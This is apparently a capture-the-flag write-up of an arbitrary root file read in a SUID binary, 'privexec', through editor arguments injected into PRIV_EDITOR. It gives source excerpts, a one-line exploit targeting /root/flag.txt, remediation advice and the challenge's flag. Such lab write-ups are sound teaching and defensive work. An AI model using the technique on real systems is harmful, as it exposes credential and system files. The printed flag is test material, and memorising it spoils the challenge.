1. Executive Summary
The privexec SUID binary contains a logic flaw in how it parses environment variables for editor selection. While it attempts to implement security through privilege dropping, a vulnerability in argument handling allows the root-privileged process to be tricked into copying unauthorized files into user-controlled temporary buffers.
Threat Impact: This flaw facilitates Arbitrary File Read with root privileges, leading to full information disclosure of sensitive system files (e.g., /etc/shadow, /root/flag.txt).
2. Reconnaissance & Discovery
Attack Surface & Preconditions
Local Access: Required to execute the binary.
Authorization: Attack requires a valid entry in
/challenge/privexec.conf.Binary Status:
1 ls -l /challenge/bin/privexec
2 # -rwsr-xr-x 1 root root ... # SUID bit is set
3. Vulnerability Analysis
Code Audit (source_code/src/editor.c)
The vulnerability stems from the get_editor() function and subsequent parsing logic.
The Trigger:
The program fetches the editor command from an attacker-controlled environment variable:
1static char* get_editor(void) {
2 char *editor = getenv("PRIV_EDITOR"); // Attacker controlled
3 if (!editor || strlen(editor) == 0) editor = "vi";
4 return editor;
5}
The Logic Flaw:
The edit_file function parses PRIV_EDITOR for a -- delimiter. If present, it treats any following tokens as additional files to be processed by the root-privileged parent:
1if (dash_index != -1) {
2 for (int i = dash_index + 1; i < editor_argc && editor_argv[i]; i++) {
3 // Root process adds these to its internal 'files_to_edit' list
4 files_to_edit[num_files] = strdup(editor_argv[i]);
5 num_files++;
6 }
7}
The Vulnerable Workflow:
Root Context: The parent opens the target file (e.g.,
/root/flag.txt).Data Leak: It copies the content to a temp file in
/tmp/.Ownership Handover: It calls
fchown(), transferring ownership to the low-privileged user.Privilege Drop: Finally, it drops privileges and executes the editor.
4. Exploitation Path
Step-by-Step Execution:
Craft the Payload:
We inject the target path after the
--delimiter to bypass intended logic.1export PRIV_EDITOR="vim -- /root/flag.txt"Trigger the Binary:
1/challenge/bin/privexec -e /tmp/test.testRetrieve Information:
Vim opens with two buffers. Use
:nto switch to the buffer containing the flag.
5. Advanced Notes & Potential Vectors
Symlink Abuse: If the temporary file generation isn’t using
O_EXCLormkstemp()properly, a secondary attack vector could involve symlink racing to overwrite critical system files.Race Conditions: There is a potential TOCTOU (Time-of-Check Time-of-Use) window between the root-level copy and the
fchownoperation.
6. Remediation
Environment Scrubbing: Use
secure_getenv()or a hardcoded whitelist of editors.Argument Sanitization: Disallow the
--delimiter or any tokens starting with/in thePRIV_EDITORvariable.Late Opening: Ensure that file descriptors for the target files are opened only after
setuid(original_uid)has been called.
Final Flag
Flag{QCFATEtqQ0xCSHZCdndvWE1zUjFMbUtOZjRHWHk1bDhxYTJyQ0dDbDkyYVFvQT1kYjgzM2Y3ZjNiYmJiOWU1}